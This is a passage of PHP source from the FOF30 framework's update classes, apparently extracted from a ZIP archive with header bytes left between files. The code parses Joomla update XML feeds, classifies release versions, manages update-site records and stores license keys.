=> [], ]; // Download and parse the XML file $container = Container::getInstance('com_foobar'); $downloader = new Download($container); $xmlSource = $downloader->getFromURL($url); try { $xml = new SimpleXMLElement($xmlSource, LIBXML_NONET); } catch (Exception $e) { return $updates; } // Sanity check if (($xml->getName() != 'extensionset')) { unset($xml); return $updates; } // Initialise return value with the stream metadata (name, description) $rootAttributes = $xml->attributes(); foreach ($rootAttributes as $k => $v) { $updates['metadata'][$k] = (string) $v; } // Initialise the raw list of updates $rawUpdates = [ 'categories' => [], 'extensions' => [], ]; // Segregate the raw list to a hierarchy of extension and category entries /** @var SimpleXMLElement $extension */ foreach ($xml->children() as $extension) { switch ($extension->getName()) { case 'category': // These are the parameters we expect in a category $params = [ 'name' => '', 'description' => '', 'category' => '', 'ref' => '', 'targetplatformversion' => $jVersion, ]; // These are the attributes of the element $attributes = $extension->attributes(); // Merge them all foreach ($attributes as $k => $v) { $params[$k] = (string) $v; } // We can't have a category with an empty category name if (empty($params['category'])) { continue; } // We can't have a category with an empty ref if (empty($params['ref'])) { continue; } if (empty($params['description'])) { $params['description'] = $params['category']; } if (!array_key_exists($params['category'], $rawUpdates['categories'])) { $rawUpdates['categories'][$params['category']] = []; } $rawUpdates['categories'][$params['category']][] = $params; break; case 'extension': // These are the parameters we expect in a category $params = [ 'element' => '', 'type' => '', 'version' => '', 'name' => '', 'detailsurl' => '', 'targetplatformversion' => $jVersion, ]; // These are the attributes of the element $attributes = $extension->attributes(); // Merge them all foreach ($attributes as $k => $v) { $params[$k] = (string) $v; } // We can't have an extension with an empty element if (empty($params['element'])) { continue; } // We can't have an extension with an empty type if (empty($params['type'])) { continue; } // We can't have an extension with an empty version if (empty($params['version'])) { continue; } if (empty($params['name'])) { $params['name'] = $params['element'] . ' ' . $params['version']; } if (!array_key_exists($params['type'], $rawUpdates['extensions'])) { $rawUpdates['extensions'][$params['type']] = []; } if (!array_key_exists($params['element'], $rawUpdates['extensions'][$params['type']])) { $rawUpdates['extensions'][$params['type']][$params['element']] = []; } $rawUpdates['extensions'][$params['type']][$params['element']][] = $params; break; default: break; } } unset($xml); if (!empty($rawUpdates['categories'])) { foreach ($rawUpdates['categories'] as $category => $entries) { $update = $this->filterListByPlatform($entries, $jVersion); $updates['categories'][$category] = $update; } } if (!empty($rawUpdates['extensions'])) { foreach ($rawUpdates['extensions'] as $type => $extensions) { $updates['extensions'][$type] = []; if (!empty($extensions)) { foreach ($extensions as $element => $entries) { $update = $this->filterListByPlatform($entries, $jVersion); $updates['extensions'][$type][$element] = $update; } } } } return $updates; } /** * Returns only the category definitions of a collection * * @param string $url The URL of the collection update source * @param string $jVersion Joomla! version to fetch updates for, or null to use JVERSION * * @return array An array of category update definitions */ public function getCategories($url, $jVersion = null) { $allUpdates = $this->getAllUpdates($url, $jVersion); return $allUpdates['categories']; } /** * Returns the update source for a specific category * * @param string $url The URL of the collection update source * @param string $category The category name you want to get the update source URL of * @param string $jVersion Joomla! version to fetch updates for, or null to use JVERSION * * @return string|null The update stream URL, or null if it's not found */ public function getCategoryUpdateSource($url, $category, $jVersion = null) { $allUpdates = $this->getAllUpdates($url, $jVersion); if (array_key_exists($category, $allUpdates['categories'])) { return $allUpdates['categories'][$category]['ref']; } else { return null; } } /** * Get a list of updates for extensions only, optionally of a specific type * * @param string $url The URL of the collection update source * @param string $type The extension type you want to get the update source URL of, empty to get all * extension types * @param string $jVersion Joomla! version to fetch updates for, or null to use JVERSION * * @return array|null An array of extension update definitions or null if none is found */ public function getExtensions($url, $type = null, $jVersion = null) { $allUpdates = $this->getAllUpdates($url, $jVersion); if (empty($type)) { return $allUpdates['extensions']; } elseif (array_key_exists($type, $allUpdates['extensions'])) { return $allUpdates['extensions'][$type]; } else { return null; } } /** * Get the update source URL for a specific extension, based on the type and element, e.g. * type=file and element=joomla is Joomla! itself. * * @param string $url The URL of the collection update source * @param string $type The extension type you want to get the update source URL of * @param string $element The extension element you want to get the update source URL of * @param string $jVersion Joomla! version to fetch updates for, or null to use JVERSION * * @return string|null The update source URL or null if the extension is not found */ public function getExtensionUpdateSource($url, $type, $element, $jVersion = null) { $allUpdates = $this->getExtensions($url, $type, $jVersion); if (empty($allUpdates)) { return null; } elseif (array_key_exists($element, $allUpdates)) { return $allUpdates[$element]['detailsurl']; } else { return null; } } /** * Filters a list of updates, returning only those available for the * specified platform version $jVersion * * @param array $updates An array containing update definitions (categories or extensions) * @param string $jVersion Joomla! version to fetch updates for, or null to use JVERSION * * @return array|null The update definition that is compatible, or null if none is compatible */ private function filterListByPlatform($updates, $jVersion = null) { // Get the target platform if (is_null($jVersion)) { $jVersion = JVERSION; } $versionParts = explode('.', $jVersion, 4); $platformVersionMajor = $versionParts[0]; $platformVersionMinor = (count($versionParts) > 1) ? $platformVersionMajor . '.' . $versionParts[1] : $platformVersionMajor; $platformVersionNormal = (count($versionParts) > 2) ? $platformVersionMinor . '.' . $versionParts[2] : $platformVersionMinor; $platformVersionFull = (count($versionParts) > 3) ? $platformVersionNormal . '.' . $versionParts[3] : $platformVersionNormal; $pickedExtension = null; $pickedSpecificity = -1; foreach ($updates as $update) { // Test the target platform $targetPlatform = (string) $update['targetplatformversion']; if ($targetPlatform === $platformVersionFull) { $pickedExtension = $update; $pickedSpecificity = 4; } elseif (($targetPlatform === $platformVersionNormal) && ($pickedSpecificity <= 3)) { $pickedExtension = $update; $pickedSpecificity = 3; } elseif (($targetPlatform === $platformVersionMinor) && ($pickedSpecificity <= 2)) { $pickedExtension = $update; $pickedSpecificity = 2; } elseif (($targetPlatform === $platformVersionMajor) && ($pickedSpecificity <= 1)) { $pickedExtension = $update; $pickedSpecificity = 1; } } return $pickedExtension; } } PK���\���ڐ2�2fof30/Update/Joomla.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Update; defined('_JEXEC') || die; class Joomla extends Extension { /** * The source for LTS updates * * @var string */ protected static $lts_url = 'http://update.joomla.org/core/list.xml'; /** * The source for STS updates * * @var string */ protected static $sts_url = 'http://update.joomla.org/core/sts/list_sts.xml'; /** * The source for test release updates * * @var string */ protected static $test_url = 'http://update.joomla.org/core/test/list_test.xml'; /** * Reads a "collection" XML update source and picks the correct source URL * for the extension update source. * * @param string $url The collection XML update source URL to read from * @param string $jVersion Joomla! version to fetch updates for, or null to use JVERSION * * @return string The URL of the extension update source, or empty if no updates are provided / fetching failed */ public function getUpdateSourceFromCollection($url, $jVersion = null) { $provider = new Collection(); return $provider->getExtensionUpdateSource($url, 'file', 'joomla', $jVersion); } /** * Determines the properties of a version: STS/LTS, normal or testing * * @param string $jVersion The version number to check * @param string $currentVersion The current Joomla! version number * * @return array The properties analysis */ public function getVersionProperties($jVersion, $currentVersion = null) { // Initialise $ret = [ 'lts' => true, // Is this an LTS release? False means STS. 'current' => false, // Is this a release in the $currentVersion branch? 'upgrade' => 'none', // Upgrade relation of $jVersion to $currentVersion: 'none' (can't upgrade), 'lts' (next or current LTS), 'sts' (next or current STS) or 'current' (same release, no upgrade available) 'testing' => false, // Is this a testing (alpha, beta, RC) release? ]; // Get the current version if none is defined if (is_null($currentVersion)) { $currentVersion = JVERSION; } // Sanitise version numbers $sameVersion = $jVersion == $currentVersion; $jVersion = $this->sanitiseVersion($jVersion); $currentVersion = $this->sanitiseVersion($currentVersion); $sameVersion = $sameVersion || ($jVersion == $currentVersion); // Get the base version $baseVersion = substr($jVersion, 0, 3); // Get the minimum and maximum current version numbers $current_minimum = substr($currentVersion, 0, 3); $current_maximum = $current_minimum . '.9999'; // Initialise STS/LTS version numbers $sts_minimum = false; $sts_maximum = false; $lts_minimum = false; // Is it an LTS or STS release? switch ($baseVersion) { case '1.5': $ret['lts'] = true; break; case '1.6': $ret['lts'] = false; $sts_minimum = '1.7'; $sts_maximum = '1.7.999'; $lts_minimum = '2.5'; break; case '1.7': $ret['lts'] = false; $sts_minimum = false; $lts_minimum = '2.5'; break; case '2.5': $ret['lts'] = true; $sts_minimum = false; $lts_minimum = '2.5'; break; default: $majorVersion = (int) substr($jVersion, 0, 1); //$minorVersion = (int) substr($jVersion, 2, 1); $ret['lts'] = true; $sts_minimum = false; $lts_minimum = $majorVersion . '.0'; break; } // Is it a current release? if (version_compare($jVersion, $current_minimum, 'ge') && version_compare($jVersion, $current_maximum, 'le')) { $ret['current'] = true; } // Is this a testing release? $versionParts = explode('.', $jVersion); $lastVersionPart = array_pop($versionParts); if (in_array(substr($lastVersionPart, 0, 1), ['a', 'b'])) { $ret['testing'] = true; } elseif (substr($lastVersionPart, 0, 2) == 'rc') { $ret['testing'] = true; } elseif (substr($lastVersionPart, 0, 3) == 'dev') { $ret['testing'] = true; } // Find the upgrade relation of $jVersion to $currentVersion if (version_compare($jVersion, $currentVersion, 'eq')) { $ret['upgrade'] = 'current'; } elseif (($sts_minimum !== false) && version_compare($jVersion, $sts_minimum, 'ge') && version_compare($jVersion, $sts_maximum, 'le')) { $ret['upgrade'] = 'sts'; } elseif (($lts_minimum !== false) && version_compare($jVersion, $lts_minimum, 'ge')) { $ret['upgrade'] = 'lts'; } elseif ($baseVersion == $current_minimum) { $ret['upgrade'] = $ret['lts'] ? 'lts' : 'sts'; } else { $ret['upgrade'] = 'none'; } if ($sameVersion) { $ret['upgrade'] = 'none'; } return $ret; } /** * Filters a list of updates, making sure they apply to the specified CMS * release. * * @param array $updates A list of update records returned by the getUpdatesFromExtension method * @param string $jVersion The current Joomla! version number * * @return array A filtered list of updates. Each update record also includes version relevance information. */ public function filterApplicableUpdates($updates, $jVersion = null) { if (empty($jVersion)) { $jVersion = JVERSION; } $versionParts = explode('.', $jVersion, 4); $platformVersionMajor = $versionParts[0]; $platformVersionMinor = $platformVersionMajor . '.' . $versionParts[1]; //$platformVersionNormal = $platformVersionMinor . '.' . $versionParts[2]; //$platformVersionFull = (count($versionParts) > 3) ? $platformVersionNormal . '.' . $versionParts[3] : $platformVersionNormal; $ret = []; foreach ($updates as $update) { // Check each update for platform match if (strtolower($update['targetplatform']['name']) != 'joomla') { continue; } $targetPlatformVersion = $update['targetplatform']['version']; if (!preg_match('/' . $targetPlatformVersion . '/', $platformVersionMinor)) { continue; } // Get some information from the version number $updateVersion = $update['version']; $versionProperties = $this->getVersionProperties($updateVersion, $jVersion); if ($versionProperties['upgrade'] == 'none') { continue; } // The XML files are ill-maintained. Maybe we already have this update? if (!array_key_exists($updateVersion, $ret)) { $ret[$updateVersion] = array_merge($update, $versionProperties); } } return $ret; } /** * Joomla! has a lousy track record in naming its alpha, beta and release * candidate releases. The convention used seems to be "what the hell the * current package maintainer thinks looks better". This method tries to * figure out what was in the mind of the maintainer and translate the * funky version number to an actual PHP-format version string. * * @param string $version The whatever-format version number * * @return string A standard formatted version number */ public function sanitiseVersion($version) { $test = strtolower($version); $alphaQualifierPosition = strpos($test, 'alpha-'); $betaQualifierPosition = strpos($test, 'beta-'); $betaQualifierPosition2 = strpos($test, '-beta'); $rcQualifierPosition = strpos($test, 'rc-'); $rcQualifierPosition2 = strpos($test, '-rc'); $rcQualifierPosition3 = strpos($test, 'rc'); $devQualifiedPosition = strpos($test, 'dev'); if ($alphaQualifierPosition !== false) { $betaRevision = substr($test, $alphaQualifierPosition + 6); if (!$betaRevision) { $betaRevision = 1; } $test = substr($test, 0, $alphaQualifierPosition) . '.a' . $betaRevision; } elseif ($betaQualifierPosition !== false) { $betaRevision = substr($test, $betaQualifierPosition + 5); if (!$betaRevision) { $betaRevision = 1; } $test = substr($test, 0, $betaQualifierPosition) . '.b' . $betaRevision; } elseif ($betaQualifierPosition2 !== false) { $betaRevision = substr($test, $betaQualifierPosition2 + 5); if (!$betaRevision) { $betaRevision = 1; } $test = substr($test, 0, $betaQualifierPosition2) . '.b' . $betaRevision; } elseif ($rcQualifierPosition !== false) { $betaRevision = substr($test, $rcQualifierPosition + 5); if (!$betaRevision) { $betaRevision = 1; } $test = substr($test, 0, $rcQualifierPosition) . '.rc' . $betaRevision; } elseif ($rcQualifierPosition2 !== false) { $betaRevision = substr($test, $rcQualifierPosition2 + 3); if (!$betaRevision) { $betaRevision = 1; } $test = substr($test, 0, $rcQualifierPosition2) . '.rc' . $betaRevision; } elseif ($rcQualifierPosition3 !== false) { $betaRevision = substr($test, $rcQualifierPosition3 + 5); if (!$betaRevision) { $betaRevision = 1; } $test = substr($test, 0, $rcQualifierPosition3) . '.rc' . $betaRevision; } elseif ($devQualifiedPosition !== false) { $betaRevision = substr($test, $devQualifiedPosition + 6); if (!$betaRevision) { $betaRevision = ''; } $test = substr($test, 0, $devQualifiedPosition) . '.dev' . $betaRevision; } return $test; } /** * Reloads the list of all updates available for the specified Joomla! version * from the network. * * @param array $sources The enabled sources to look into * @param string $jVersion The Joomla! version we are checking updates for * * @return array A list of updates for the installed, current, lts and sts versions */ public function getUpdates($sources = [], $jVersion = null) { // Make sure we have a valid list of sources if (empty($sources) || !is_array($sources)) { $sources = []; } $defaultSources = ['lts' => true, 'sts' => true, 'test' => true, 'custom' => '']; $sources = array_merge($defaultSources, $sources); // Use the current JVERSION if none is specified if (empty($jVersion)) { $jVersion = JVERSION; } // Get the current branch' min/max versions $versionParts = explode('.', $jVersion, 4); $currentMinVersion = $versionParts[0] . '.' . $versionParts[1]; $currentMaxVersion = $versionParts[0] . '.' . $versionParts[1] . '.9999'; // Retrieve all updates $allUpdates = []; foreach ($sources as $source => $value) { if (($value === false) || empty($value)) { continue; } switch ($source) { default: case 'lts': $url = self::$lts_url; break; case 'sts': $url = self::$sts_url; break; case 'test': $url = self::$test_url; break; case 'custom': $url = $value; break; } $url = $this->getUpdateSourceFromCollection($url, $jVersion); if (!empty($url)) { $updates = $this->getUpdatesFromExtension($url); if (!empty($updates)) { $applicableUpdates = $this->filterApplicableUpdates($updates, $jVersion); if (!empty($applicableUpdates)) { $allUpdates = array_merge($allUpdates, $applicableUpdates); } } } } $ret = [ // Currently installed version (used to reinstall, if available) 'installed' => [ 'version' => '', 'package' => '', 'infourl' => '', ], // Current branch 'current' => [ 'version' => '', 'package' => '', 'infourl' => '', ], // Upgrade to STS release 'sts' => [ 'version' => '', 'package' => '', 'infourl' => '', ], // Upgrade to LTS release 'lts' => [ 'version' => '', 'package' => '', 'infourl' => '', ], // Upgrade to LTS release 'test' => [ 'version' => '', 'package' => '', 'infourl' => '', ], ]; foreach ($allUpdates as $update) { $sections = []; if ($update['upgrade'] == 'current') { $sections[0] = 'installed'; } elseif (version_compare($update['version'], $currentMinVersion, 'ge') && version_compare($update['version'], $currentMaxVersion, 'le')) { $sections[0] = 'current'; } else { $sections[0] = ''; } $sections[1] = $update['lts'] ? 'lts' : 'sts'; if ($update['testing']) { $sections = ['test']; } foreach ($sections as $section) { if (empty($section)) { continue; } $existingVersionForSection = $ret[$section]['version']; if (empty($existingVersionForSection)) { $existingVersionForSection = '0.0.0'; } if (version_compare($update['version'], $existingVersionForSection, 'ge')) { $ret[$section]['version'] = $update['version']; $ret[$section]['package'] = $update['downloads'][0]['url']; $ret[$section]['infourl'] = $update['infourl']['url']; } } } // Catch the case when the latest current branch version is the installed version (up to date site) if (empty($ret['current']['version']) && !empty($ret['installed']['version'])) { $ret['current'] = $ret['installed']; } return $ret; } } PK���\F��i;b;bfof30/Update/Update.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Update; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use FOF30\Model\Model; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Updater\Updater; use SimpleXMLElement; /** * A helper Model to interact with Joomla!'s extensions update feature */ class Update extends Model { /** @var Updater The Joomla! updater object */ protected $updater = null; /** @var int The extension_id of this component */ protected $extension_id = 0; /** @var string The currently installed version, as reported by the #__extensions table */ protected $version = 'dev'; /** @var string The name of the component e.g. com_something */ protected $component = 'com_foobar'; /** @var string The URL to the component's update XML stream */ protected $updateSite = null; /** @var string The name to the component's update site (description of the update XML stream) */ protected $updateSiteName = null; /** @var string The extra query to append to (commercial) components' download URLs */ protected $extraQuery = null; /** @var string The component Options key which stores a copy of the Download ID */ protected $paramsKey = 'update_dlid'; /** * Public constructor. Initialises the protected members as well. Useful $config keys: * update_component The component name, e.g. com_foobar * update_version The default version if the manifest cache is unreadable * update_site The URL to the component's update XML stream * update_extraquery The extra query to append to (commercial) components' download URLs * update_sitename The update site's name (description) * update_paramskey The component parameters key which holds the license key in J3 (and a copy of it in J4) * * @param array $config */ public function __construct($config = []) { $container = Container::getInstance('com_FOOBAR'); if (isset($config['update_container']) && is_object($config['update_container']) && ($config['update_container'] instanceof Container)) { $container = $config['update_container']; } parent::__construct($container); // Get an instance of the updater class $this->updater = Updater::getInstance(); // Get the component name if (isset($config['update_component'])) { $this->component = $config['update_component']; } else { $this->component = $this->input->getCmd('option', ''); } // Get the component version if (isset($config['update_version'])) { $this->version = $config['update_version']; } // Get the update site if (isset($config['update_site'])) { $this->updateSite = $config['update_site']; } // Get the extra query if (isset($config['update_extraquery'])) { $this->extraQuery = $config['update_extraquery']; } // Get the extra query if (isset($config['update_sitename'])) { $this->updateSiteName = $config['update_sitename']; } // Get the extra query if (isset($config['update_paramskey'])) { $this->paramsKey = $config['update_paramskey']; } // Get the extension type $extension = $this->getExtensionObject(); if (is_object($extension)) { $this->extension_id = $extension->extension_id; if (empty($this->version) || ($this->version == 'dev')) { $data = json_decode($extension->manifest_cache, true); if (isset($data['version'])) { $this->version = $data['version']; } } } } /** * Gets the license key for a paid extension. * * On Joomla! 3 or when $forceLegacy is true we look in the component Options. * * On Joomla! 4 we use the information in the dlid element of the extension's XML manifest to parse the extra_query * fields of all configured update sites of the extension. This is the same thing Joomla does when it tries to * determine the license key of our extension when installing updates. If the extension is missing, it has no * associated update sites, the update sites are missing / rebuilt / disassociated from the extension or the * extra_query of all update site records is empty we parse the $extraQuery set in the constructor, if any. Also * note that on Joomla 4 mode if the extension does not exist, does not have a manifest or does not have a valid * dlid element in its manifest we will end up returning an empty string, just like Joomla! itself would have done * when installing updates. * * @param bool $forceLegacy Should I always retrieve the legacy license key, even in J4? * * @return string */ public function getLicenseKey($forceLegacy = false) { $legacyParamsKey = $this->getLegacyParamsKey(); // Joomla 3 (Legacy): Download ID stored in the component options if ($forceLegacy || !version_compare(JVERSION, '3.999.999', 'gt')) { return $this->container->params->get($legacyParamsKey, ''); } // Joomla! 4. We need to parse the extra_query of the update sites to get the correct Download ID. $updateSites = $this->getUpdateSites(); $extra_query = array_reduce($updateSites, function ($extra_query, $updateSite) { if (!empty($extra_query)) { return $extra_query; } return $updateSite['extra_query']; }, ''); // Fall back to legacy extra query if (empty($extra_query)) { $extra_query = $this->extraQuery; } // Return the parsed results. return $this->getLicenseKeyFromExtraQuery($extra_query); } /** * Get the contents of all the update sites of the configured extension * * @return array */ public function getUpdateSites() { $updateSiteIDs = $this->getUpdateSiteIds(); $db = $this->container->db; $query = $db->getQuery(true) ->select('*') ->from($db->qn('#__update_sites')) ->where($db->qn('update_site_id') . ' IN (' . implode(', ', $updateSiteIDs) . ')'); try { $db->setQuery($query); $ret = $db->loadAssocList('update_site_id'); } catch (Exception $e) { $ret = null; } return empty($ret) ? [] : $ret; } public function setLicenseKey($licenseKey) { $legacyParamsKey = $this->getLegacyParamsKey(); // Sanitize and validate the license key. If it's not valid we set an empty license key. $licenseKey = $this->sanitizeLicenseKey($licenseKey); if (!$this->isValidLicenseKey($licenseKey)) { $licenseKey = ''; } // Update $this->extraQuery. $this->extraQuery = $this->getExtraQueryString($licenseKey); // Save the license key in the component options ($legacyParamsKey) $this->container->params->set($legacyParamsKey, $licenseKey); $this->container->params->save(); // Apply the new extra_query to the update site $this->refreshUpdateSite(); } /** * Copies a Joomla 3 license key from the Options storage to Joomla 4 download key storage (the extra_query column * of the #__update_sites table). * * This method does nothing on Joomla 3. * * @return void */ public function upgradeLicenseKey() { // Only applies to Joomla! 4 if (!version_compare(JVERSION, '3.999.999', 'gt')) { return; } // Make sure we DO have a legacy license key $legacyKey = $this->getLicenseKey(true); if (empty($legacyKey)) { return; } // Make sure we DO NOT have a J4 key. If we do, the J4 key wins and gets backported to legacy storage. $licenseKey = $this->getLicenseKey(false); if (!empty($licenseKey)) { $this->backportLicenseKey(); return; } // Save the legacy key as non-legacy. This updates the #__update_sites record, applying the license key. $this->setLicenseKey($legacyKey); } /** * Copies a Joomla 4 license key from the download key storage (the extra_query column of the #__update_sites table) * to the legacy Options storage. * * This method does nothing on Joomla 3. * * @return void */ public function backportLicenseKey() { $legacyParamsKey = $this->getLegacyParamsKey(); // Only applies to Joomla! 4 if (!version_compare(JVERSION, '3.999.999', 'gt')) { return; } // Make sure we DO have a J4 key $licenseKey = $this->getLicenseKey(false); if (empty($licenseKey)) { return; } // Make sure that the legacy key is NOT the same as the J4 key $legacyKey = $this->getLicenseKey(true); if ($legacyKey == $licenseKey) { return; } // Save the license key to the legacy storage (component options) $this->container->params->set($legacyParamsKey, $licenseKey); $this->container->params->save(); } /** * Get an extra query string based on the dlid element of the XML manifest file of the extension. * * If the extension does not exist, the manifest does not exist or it does not have a dlid element we fall back to * the legacy implementation of extra_query (getExtraQueryStringLegacy) * * @param string $licenseKey * * @return string */ public function getExtraQueryString($licenseKey) { // Make sure the (sanitized) license key is valid. Otherwise we return an empty string. $licenseKey = $this->sanitizeLicenseKey($licenseKey); if (!$this->isValidLicenseKey($licenseKey)) { return ''; } // Get a fallback extra query using the legacy method $fallbackExtraQuery = $this->getExtraQueryStringLegacy($licenseKey); // Get the extension XML manifest. If the extension or the manifest don't exist use the fallback extra_query. $extension = $this->getExtensionObject(); if (!$extension) { return $fallbackExtraQuery; } $installXmlFile = $this->getManifestXML( $extension->element, $extension->type, (int) $extension->client_id, $extension->folder ); if (!$installXmlFile) { return $fallbackExtraQuery; } // If the manifest does not have the dlid element return the fallback extra_query. if (!isset($installXmlFile->dlid)) { return $fallbackExtraQuery; } $prefix = (string) $installXmlFile->dlid['prefix']; $suffix = (string) $installXmlFile->dlid['suffix']; return $prefix . $this->sanitizeLicenseKey($licenseKey) . $suffix; } /** * Retrieves the update information of the component, returning an array with the following keys: * * hasUpdate True if an update is available * version The version of the available update * infoURL The URL to the download page of the update * * @param bool $force Set to true if you want to forcibly reload the update information * * @return array See the method description for more information */ public function getUpdates($force = false) { $db = $this->container->db; // Default response (no update) $updateResponse = [ 'hasUpdate' => false, 'version' => '', 'infoURL' => '', ]; if (empty($this->extension_id)) { return $updateResponse; } // If we had to update the version number stored in the database then we should force reload the updates if ($this->updatedCachedVersionNumber()) { $force = true; } // If we are forcing the reload, set the last_check_timestamp to 0 // and remove cached component update info in order to force a reload if ($force) { // Find the update site IDs $updateSiteIds = $this->getUpdateSiteIds(); if (empty($updateSiteIds)) { return $updateResponse; } // Set the last_check_timestamp to 0 $query = $db->getQuery(true) ->update($db->qn('#__update_sites')) ->set($db->qn('last_check_timestamp') . ' = ' . $db->q('0')) ->where($db->qn('update_site_id') . ' IN (' . implode(', ', $updateSiteIds) . ')'); $db->setQuery($query); $db->execute(); // Remove cached component update info from #__updates $query = $db->getQuery(true) ->delete($db->qn('#__updates')) ->where($db->qn('update_site_id') . ' IN (' . implode(', ', $updateSiteIds) . ')'); $db->setQuery($query); $db->execute(); } // Use the update cache timeout specified in com_installer $comInstallerParams = ComponentHelper::getParams('com_installer', false); $timeout = 3600 * $comInstallerParams->get('cachetimeout', '6'); // Load any updates from the network into the #__updates table $this->updater->findUpdates($this->extension_id, $timeout); // Get the update record from the database $query = $db->getQuery(true) ->select('*') ->from($db->qn('#__updates')) ->where($db->qn('extension_id') . ' = ' . $db->q($this->extension_id)); $db->setQuery($query); $updateRecord = $db->loadObject(); // If we have an update record in the database return the information found there if (is_object($updateRecord)) { $updateResponse = [ 'hasUpdate' => true, 'version' => $updateRecord->version, 'infoURL' => $updateRecord->infourl, ]; } return $updateResponse; } /** * Gets the update site Ids for our extension. * * @return array An array of IDs */ public function getUpdateSiteIds() { $db = $this->container->db; $query = $db->getQuery(true) ->select($db->qn('update_site_id')) ->from($db->qn('#__update_sites_extensions')) ->where($db->qn('extension_id') . ' = ' . $db->q($this->extension_id)); $db->setQuery($query); try { $ret = $db->loadColumn(0); } catch (Exception $e) { $ret = null; } return is_array($ret) ? $ret : []; } /** * Get the currently installed version as reported by the #__extensions table * * @return string */ public function getVersion() { return $this->version; } /** * Override the currently installed version as reported by the #__extensions table * * @param string $version */ public function setVersion($version) { $this->version = $version; } /** * Refreshes the Joomla! update sites for this extension as needed * * @return void */ public function refreshUpdateSite() { if (empty($this->extension_id)) { return; } // Create the update site definition we want to store to the database $update_site = [ 'name' => $this->updateSiteName, 'type' => 'extension', 'location' => $this->updateSite, 'enabled' => 1, 'last_check_timestamp' => 0, 'extra_query' => $this->extraQuery, ]; // Get a reference to the db driver $db = $this->container->db; // Get the #__update_sites columns $columns = $db->getTableColumns('#__update_sites', true); if (version_compare(JVERSION, '3.0.0', 'lt') || !array_key_exists('extra_query', $columns)) { unset($update_site['extra_query']); } // Get the update sites for our extension $updateSiteIds = $this->getUpdateSiteIds(); if (empty($updateSiteIds)) { $updateSiteIds = []; } /** @var boolean $needNewUpdateSite Do I need to create a new update site? */ $needNewUpdateSite = true; /** @var int[] $deleteOldSites Old Site IDs to delete */ $deleteOldSites = []; // Loop through all update sites foreach ($updateSiteIds as $id) { $query = $db->getQuery(true) ->select('*') ->from($db->qn('#__update_sites')) ->where($db->qn('update_site_id') . ' = ' . $db->q($id)); $db->setQuery($query); $aSite = $db->loadObject(); if (empty($aSite)) { // Update site is now up-to-date, don't need to refresh it anymore. continue; } // We have an update site that looks like ours if ($needNewUpdateSite && ($aSite->name == $update_site['name']) && ($aSite->location == $update_site['location'])) { $needNewUpdateSite = false; $mustUpdate = false; // Is it enabled? If not, enable it. if (!$aSite->enabled) { $mustUpdate = true; $aSite->enabled = 1; } // Do we have the extra_query property (J 3.2+) and does it match? if (property_exists($aSite, 'extra_query') && isset($update_site['extra_query']) && ($aSite->extra_query != $update_site['extra_query'])) { $mustUpdate = true; $aSite->extra_query = $update_site['extra_query']; } // Update the update site if necessary if ($mustUpdate) { $db->updateObject('#__update_sites', $aSite, 'update_site_id', true); } continue; } // In any other case we need to delete this update site, it's obsolete $deleteOldSites[] = $aSite->update_site_id; } if (!empty($deleteOldSites)) { try { $obsoleteIDsQuoted = array_map([$db, 'quote'], $deleteOldSites); // Delete update sites $query = $db->getQuery(true) ->delete('#__update_sites') ->where($db->qn('update_site_id') . ' IN (' . implode(',', $obsoleteIDsQuoted) . ')'); $db->setQuery($query)->execute(); // Delete update sites to extension ID records $query = $db->getQuery(true) ->delete('#__update_sites_extensions') ->where($db->qn('update_site_id') . ' IN (' . implode(',', $obsoleteIDsQuoted) . ')'); $db->setQuery($query)->execute(); } catch (Exception $e) { // Do nothing on failure return; } } // Do we still need to create a new update site? if ($needNewUpdateSite) { // No update sites defined. Create a new one. $newSite = (object) $update_site; $db->insertObject('#__update_sites', $newSite); $id = $db->insertid(); $updateSiteExtension = (object) [ 'update_site_id' => $id, 'extension_id' => $this->extension_id, ]; $db->insertObject('#__update_sites_extensions', $updateSiteExtension); } } /** * Removes any update sites which go by the same name or the same location as our update site but do not match the * extension ID. */ public function removeObsoleteUpdateSites() { $db = $this->container->db; // Get update site IDs $updateSiteIDs = $this->getUpdateSiteIds(); // Find update sites where the name OR the location matches BUT they are not one of the update site IDs $query = $db->getQuery(true) ->select($db->qn('update_site_id')) ->from($db->qn('#__update_sites')) ->where( '((' . $db->qn('name') . ' = ' . $db->q($this->updateSiteName) . ') OR ' . '(' . $db->qn('location') . ' = ' . $db->q($this->updateSite) . '))' ); if (!empty($updateSiteIDs)) { $updateSitesQuoted = array_map([$db, 'quote'], $updateSiteIDs); $query->where($db->qn('update_site_id') . ' NOT IN (' . implode(',', $updateSitesQuoted) . ')'); } try { $ids = $db->setQuery($query)->loadColumn(); if (!empty($ids)) { $obsoleteIDsQuoted = array_map([$db, 'quote'], $ids); // Delete update sites $query = $db->getQuery(true) ->delete('#__update_sites') ->where($db->qn('update_site_id') . ' IN (' . implode(',', $obsoleteIDsQuoted) . ')'); $db->setQuery($query)->execute(); // Delete update sites to extension ID records $query = $db->getQuery(true) ->delete('#__update_sites_extensions') ->where($db->qn('update_site_id') . ' IN (' . implode(',', $obsoleteIDsQuoted) . ')'); $db->setQuery($query)->execute(); } } catch (Exception $e) { // Do nothing on failure return; } } /** * Makes sure that the version number cached in the #__extensions table is consistent with the version number set in * this model. * * @return bool True if we updated the version number cached in the #__extensions table. * * @since 3.1.2 */ public function updatedCachedVersionNumber() { $extension = $this->getExtensionObject(); if (!is_object($extension)) { return false; } $data = json_decode($extension->manifest_cache, true); $mustUpdate = true; if (isset($data['version'])) { $mustUpdate = $this->version != $data['version']; } if (!$mustUpdate) { return false; } // The cached version is wrong; let's update it $data['version'] = $this->version; $extension->manifest_cache = json_encode($data); $db = $this->container->db; return $db->updateObject('#__extensions', $extension, ['extension_id']); } /** * Returns an object with the #__extensions table record for the current extension. * * @return mixed */ public function getExtensionObject() { [$extensionPrefix, $extensionName] = explode('_', $this->component); switch ($extensionPrefix) { default: case 'com': $type = 'component'; $name = $this->component; break; case 'pkg': $type = 'package'; $name = $this->component; break; } // Find the extension ID $db = $this->container->db; $query = $db->getQuery(true) ->select('*') ->from($db->qn('#__extensions')) ->where($db->qn('type') . ' = ' . $db->q($type)) ->where($db->qn('element') . ' = ' . $db->q($name)); try { $db->setQuery($query); $extension = $db->loadObject(); } catch (Exception $e) { return null; } return $extension; } /** * Is the provided string a valid license key? 